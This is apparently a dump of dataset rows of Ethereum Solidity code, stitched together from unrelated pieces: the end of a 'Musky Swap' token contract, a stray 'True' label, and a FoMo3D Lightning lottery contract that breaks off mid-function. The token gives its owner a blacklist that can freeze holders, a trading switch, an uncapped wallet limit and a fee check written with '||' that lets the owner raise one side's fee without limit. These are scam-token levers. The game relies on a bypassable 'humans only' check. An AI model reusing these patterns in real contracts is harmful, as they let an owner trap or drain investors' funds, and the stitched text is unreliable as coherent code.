return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MUSKSWAP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Musky Swap";
string private constant _symbol = "MUSKSWAP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
bots[bots_[i]] = true;
}
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=12||taxFeeOnSell<=12);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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1
] |
pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract FoMo3DLightning is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "FOMO Lightning";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 15 minutes; // length of the very first ICO
uint256 private rndGap_ = 15 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 15 minutes; // round timer starts at this
uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 15 minutes; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(49,2); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(38,2); //48% to winner, 10% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
